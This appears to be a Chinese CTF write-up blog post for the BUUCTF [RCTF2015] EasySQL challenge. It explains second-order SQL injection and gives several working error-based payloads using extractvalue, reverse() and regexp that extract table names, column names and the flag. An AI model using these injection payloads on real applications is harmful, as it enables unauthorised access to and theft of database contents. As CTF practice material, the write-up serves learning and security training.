【BUUCTF】[RCTF2015]EasySQL1

embedded/2025/1/22 15:06:22/

二次注入原理

是一种比较隐蔽的 SQL 注入类型

用户输入的数据先被存储到数据库中(此时可能未被恶意利用),后续应用程序从数据库中读取该数据并再次使用在 SQL 查询中,而此时就可能导致 SQL 注入问题。

如,用户注册时输入用户名 admin'-- ,这个数据被存储到数据库。之后,在修改密码等操作中,系统从数据库读取这个用户名并构建 SQL 语句,如 SELECT * FROM users WHERE username = '$username' ,这时就会引发注入。

进入题目页面,有登录、注册两个选择

先进入注册页面,尝试admin但是显示用户已存在

故随便输一个用户名密码邮箱

注册后进入登录页面,登陆后点击用户名可以看到change password

可以改密码,猜测是二次注入

 在源码中发现应该是报错注入

利用字典爆破关键字看哪些被过滤了

extractvalue函数关键字未被注释,进行报错注入

爆出表名

1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆出flag表的字段

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#
 

爆出flag字段的内容

1"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

居然有诈qyq

试一试另一个表users

1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
 

发现here只显示her,未全部显示,因为 extractvalue函数最多显示32位,故使用 reverse()函数,将回显结果倒置

1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

爆出内容flag

采用正则注入

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

逆向输出

1"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

组合得到flag:flag{4acbc4b8-4f30-40ea-a840-98ac491a8b02}


http://www.ppmy.cn/embedded/156079.html

相关文章

【Node.js]

一、概述 Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境 ,使用了一个事件驱动、非阻塞式I/O模型, 让JavaScript 运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。 官网地…

搭建一个基于Spring Boot的书籍学习平台

搭建一个基于Spring Boot的书籍学习平台可以涵盖多个功能模块,例如用户管理、书籍管理、学习进度跟踪、笔记管理、评论和评分等。以下是一个简化的步骤指南,帮助你快速搭建一个基础的书籍学习平台。 — 1. 项目初始化 使用 Spring Initializr 生成一个…

ARM-V9 CCA/RME QEMU环境搭建

整个用于 CCA 的软件栈仍在开发中,这意味着指令会频繁更改,且仓库可能是临时的。有关手动编译该栈以及从 OP-TEE 构建环境编译的指令,均基于 Ubuntu 22.04 LTS 系统编写。 使用 OP-TEE 构建环境 此方法至少需要以下工具和库。下面描述的手动构建方法也需要大部分这些工具。…

Web3 数字资产如何更有趣?解锁 Ultiland 融合 MeMe 与 RWA 的技术路径

链上数字资产的快速发展,如何与艺术创作深度融合?一众实体资产渴望向 Web3 无缝跃迁,你知道 Ultiland 交出了一份怎样的答卷吗?创新 Meme-like RWA 模型,让艺术品、房地产等资产进入 Web3,开启全新投资体验…

RabbitMQ1-消息队列

目录 MQ的相关概念 什么是MQ 为什么要用MQ MQ的分类 MQ的选择 RabbitMQ RabbitMQ的概念 四大核心概念 RabbitMQ的核心部分 各个名词介绍 MQ的相关概念 什么是MQ MQ(message queue),从字面意思上看,本质是个队列,FIFO 先入先出&am…

仿 RabbitMQ 的消息队列1(实战项目)

一,消息队列的背景知识 我们以前学过阻塞队列,其实阻塞队列和消息队列的原理差不多。 在实际的后端开发中, 尤其是分布式系统⾥, 跨主机之间使⽤⽣产者消费者模型, 也是⾮常普遍的需求. 因此, 我们通常会把阻塞队列, 封装成⼀个独⽴的服务器程序, 并且赋…

基于微信小程序的手机银行系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…

Java 在包管理与模块化中的优势:与其他开发语言的比较

在开发复杂的、规模庞大的软件系统时,包管理和模块化设计起着至关重要的作用。它们不仅决定了代码的组织和可维护性,还直接影响到团队协作效率、扩展性和性能。在众多编程语言中,Java 凭借其成熟的生态系统、强类型系统和标准化的包管理机制&…